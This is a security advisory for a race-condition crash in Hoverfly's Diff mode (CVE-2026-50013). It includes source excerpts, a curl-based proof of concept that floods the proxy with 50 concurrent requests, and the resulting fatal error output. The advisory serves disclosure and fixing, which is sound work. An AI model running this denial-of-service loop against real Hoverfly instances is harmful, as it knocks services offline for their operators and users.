CVE-2026-50013 — hoverfly

Summary:

When Hoverfly is running in Diff mode, the AddDiff() function writes to the shared responsesDiff map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a fatal error: concurrent map read and map write, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests.

Details:

1. Unsynchronized map access in AddDiff() (core/hoverfly_service.go:417-421):

func (hf *Hoverfly) AddDiff(requestView v2.SimpleRequestDefinitionView, diffReport v2.DiffReport) {
    if len(diffReport.DiffEntries) > 0 {
        diffs := hf.responsesDiff[requestView]                    // UNSYNCHRONIZED READ
        hf.responsesDiff[requestView] = append(diffs, diffReport) // UNSYNCHRONIZED WRITE
    }
}

2. This function is called from Diff mode processing, which runs concurrently per request (core/modes/diff_mode.go):

Each incoming proxy request is handled in its own goroutine by Go's net/http server. In Diff mode, each request calls AddDiff() after comparing the simulated and actual responses. With multiple concurrent requests, multiple goroutines write to the same map simultaneously.

3. Go's runtime detects concurrent map access and terminates the process:

Unlike data races on simple values (which produce undefined behavior silently), Go's map implementation includes a built-in concurrent access check. When two goroutines access the same map and at least one is writing, the runtime calls fatal() which is unrecoverable, it cannot be caught by recover().

4. No mutex protection exists on responsesDiff:

The field is declared as a plain map[v2.SimpleRequestDefinitionView][]v2.DiffReport with no associated sync.RWMutex. Compare with hf.state which properly uses sync.RWMutex for its map access.

Environment:

• Hoverfly version: v1.12.7
• Operating System: macOS Darwin 25.4.0
• Go version: 1.26.2
• Configuration: Hoverfly in Diff mode (PUT /api/v2/hoverfly/mode {"mode":"diff"})

POC:

Step 1: Start Hoverfly and set Diff mode

./hoverfly &
sleep 2

# Set diff mode
curl -X PUT http://localhost:8888/api/v2/hoverfly/mode \
  -H "Content-Type: application/json" \
  -d '{"mode": "diff"}'

# Load a simulation for diff comparison
curl -X PUT http://localhost:8888/api/v2/simulation \
  -H "Content-Type: application/json" \
  -d '{
    "data": {
      "pairs": [{
        "request": {"path": [{"matcher": "glob", "value": "*"}]},
        "response": {"status": 200, "body": "expected"}
      }],
      "globalActions": {"delays": [], "delaysLogNormal": []}
    },
    "meta": {"schemaVersion": "v5.2"}
  }'

Step 2: Send concurrent requests to trigger the race

# Send 50 concurrent requests, race condition triggers within seconds
for i in $(seq 1 50); do
    curl -s -x http://localhost:8500 "http://httpbin.org/get?id=$i" &
done
wait

Step 3: Observe the crash

# Check if process is still running
pgrep -f hoverfly

crash output on Hoverfly v1.12.7:

fatal error: concurrent map read and map write

goroutine 892 [running]:
github.com/SpectoLabs/hoverfly/core.(*Hoverfly).AddDiff(...)
        /core/hoverfly_service.go:419
github.com/SpectoLabs/hoverfly/core/modes.(*DiffMode).Process(...)

The process crashes with ~50 concurrent requests. In production with real traffic, it crashes almost immediately.

Impact:

• Full denial of service: The process terminates immediately and cannot be recovered without a restart
• Trivial exploitation: Any attacker with proxy access can trigger this by sending multiple concurrent requests
• No admin API access required: Only proxy port access is needed to trigger the crash
• Unrecoverable: fatal error in Go cannot be caught by recover() — the process is unconditionally killed
• Affects all Diff mode users: Any team using Diff mode for API comparison testing is vulnerable